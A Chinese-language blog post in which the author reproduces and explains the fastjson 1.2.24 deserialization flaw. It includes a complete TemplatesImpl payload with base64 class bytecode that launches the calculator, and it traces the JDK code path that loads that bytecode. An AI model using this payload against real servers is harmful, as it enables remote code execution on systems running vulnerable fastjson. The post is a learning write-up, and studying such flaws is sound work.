比较久前,得知平时有些技术员使用的json解析库fastjson
被爆出了漏洞。初略看看了些文章,饶有兴趣,想弄明白里边是怎么回事。以及常说的漏洞,是怎么一回事。所以去探索了、实验了下,基本满足了我的好奇心,以及留下了几个疑问。
所以,首先我们来复现下。
引入该库特定版本:compile 'com.alibaba:fastjson:1.2.24'
查看下我的java版本 java -version
,显示 java version "1.8.0_211"
OK,从网上找的payload,这个为啥在安全界叫payload呢?不懂?就是我们常说的json字符串。
{
"rand1": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
],
"_name": "aaa",
"_tfactory": {},
"_outputProperties": {}
}
}
其中_bytecodes
的值就是java字节码,就是自己构造的入侵类。大概的写法是:
public class AClass {
public AClass() {
// 运行计算器程序或执行其他命令
}
}
然后,直接执行JSON解析,
JSON.parse(json, Feature.SupportNonPublicField);
没错了,计算器被顺利调用起来了!
根据参考文章的分析,说下我的理解以及代码试验。
理解为什么会调用起计算机的计算器应用,需要理解下面的几个点。
- fastjson解析字符串并赋值到实体类的时候,会调用
get
方法。重点。
代码试验下,新建一个UserBean
实体类,在get
方法中打印下日志。
public void setAge(int age) {
this.age = age;
}
public String getName() {
System.out.println("getName()");
return name;
}
从运行结果上看,果然,get
方法日志顺利打印出来了。
这里引入第一个疑问,fastjson为什么要调用(反射调用?)get
方法,按我的理解,解析直接赋值成员变量嘛,又调用实体类的 get
方法做什么用呢?
- 就是说,fastjson会解析的时候会调用
get
方法。那么,我们想一想这种可能性。要是java类库中,存在以getXXX
开头的public
方法,而这个方法又在某种情况下,可以初始化一个类,更巧的是,这个类还可以由我们指定。怎么会有这么巧的事,这么奇怪的类呢?从结果反推分析,
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类就刚好满足。
按这个思路我们分析查看下TemplatesImpl
的相关逻辑代码。
public synchronized Properties getOutputProperties() {
try {
return this.newTransformer().getOutputProperties();
} catch (TransformerConfigurationException var2) {
return null;
}
}
没错,有 getOutputProperties
get方法,我们跟踪进去看下做了什么?我们直接跟到这里,
private Translet getTransletInstance() throws TransformerConfigurationException {
ErrorMsg err;
try {
if (this._name == null) {
return null;
} else {
if (this._class == null) {
this.defineTransletClasses();
}
AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(this._useServicesMechanism);
translet.setAllowedProtocols(this._accessExternalStylesheet);
if (this._auxClasses != null) {
translet.setAuxiliaryClasses(this._auxClasses);
}
return translet;
}
} catch (InstantiationException var3) {
err = new ErrorMsg("TRANSLET_OBJECT_ERR", this._name);
throw new TransformerConfigurationException(err.toString());
} catch (IllegalAccessException var4) {
err = new ErrorMsg("TRANSLET_OBJECT_ERR", this._name);
throw new TransformerConfigurationException(err.toString());
}
}
可以看这一句代码,
AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance();
它这里对某些class进行了实例化。根据里边的代码具体分析,它会把 _bytecodes
这个成员变量的值,作为java字节码,通过loader.defineClass
加载进来。而_bytecodes
可以由我们指定(fastjson会对_bytecodes
进行赋值)。
至此,整个流程执行完了。要是有人恶意构造请求,服务器就被入侵了。
这里引入我的第二个疑问,这个这么奇怪的类TemplatesImpl
是做什么的,而且这个类的包名com.sun.org.apache.xalan.internal.xsltc.trax
也是奇奇怪怪的,包名一般是顶级域名倒过来写,这个前面先是com.sun
sun公司的,然后又是org.apache
apache组织的。很怪,搜索看看有没什么发现。
嗯,搜索半天,没有什么重大发现。连蒙带猜,说下这个包名我的理解。
首先看,com.sun.org.apache.xalan
,xalan
是apache机构的一个项目,大概是XML转换相关的。
引用官网说明:
http://xml.apache.org/xalan-j/#moreinfo
Xalan-Java is an XSLT processor for transforming XML documents into HTML, text, or other XML document types. It implements XSL Transformations (XSLT) Version 1.0 and XML Path Language (XPath) Version 1.0 and can be used from the command line, in an applet or a servlet, or as a module in other program.
所以这个是apache组织的,用 org.apache
无可厚非。那为什么又在前面加上com.sun
,应该是sun公司或oracle公司觉得这个项目不错,然后fork了一份,作为自己的jdk的一部分。纯属我无根据瞎说。 不过stackover好像有人这样回答:
https://stackoverflow.com/questions/2791372/is-com-sun-org-apache-same-as-org-apache-package
It is a very bad idea to use it. Once upon a time, Sun took a copy of Xerces, chock full of bugs. They made some changes. Perhaps they subtracted some bugs. We know that there are many very serious bugs that they did not subtract.
And they renamed it to com.sun.... for one reason: to tell you not to use it. At any time, in any point release, in any patch, they can change those classes incompatibly or remove them.
Further, these classes may not be in IBM's copy of the JRE, or Apple's, or (haha) Microsoft's, or JRocket.
If you want Xerces, use Xerces. To find information about this, read the Xerces-j mailing list archive for many stern warnings from the Xerces developers about the version forked by Sun.
The fact that the classes are formally 'public' means nothing except that Sun needed to be able to new them from some other package.
嗯,这个疑问就八卦到这里,也算多少有个交代。
到这里,我有第三个疑问和设想,就是有没有其它的类,在 set
方法和get
方法时,会出现这种问题呢?或者换一种思路,有没有其它的库,存在这个问题呢?只要满足这个条件就会触发。
从网上资料也可知,JdbcRowSetImpl
这个类是满足条件的一个类,我没具体确认是否正是这种路径的漏洞。可以试想看看,或具体搜索看看,有没有其它的类库,或者这类BUG有什么统一的名字吗?以后随缘继续了解下。
第二个问题,gson
, jackjson
,这类的解析库会存在这个问题吗?不清楚,工作方法可能不尽相同。
还有第四个问题,就是从接触下来,这个漏洞大概不是新类型的,不是新发现独特的,那么根据经验来说,以及fastjson现在的广泛部署来说,原本应该是属于必测的TestCase吧?是不是有好心人整理份手册说,哪些漏洞是出现过的,然后基本可以成为类库开发者的必测case呢?前车之鉴,可以为师嘛。
好吧,就记录这么多吧,也在复现过程中新学了,以及多理解了一些java知识,以及非java知识。
参考:
- Fastjson 反序列化漏洞史
- 其他博文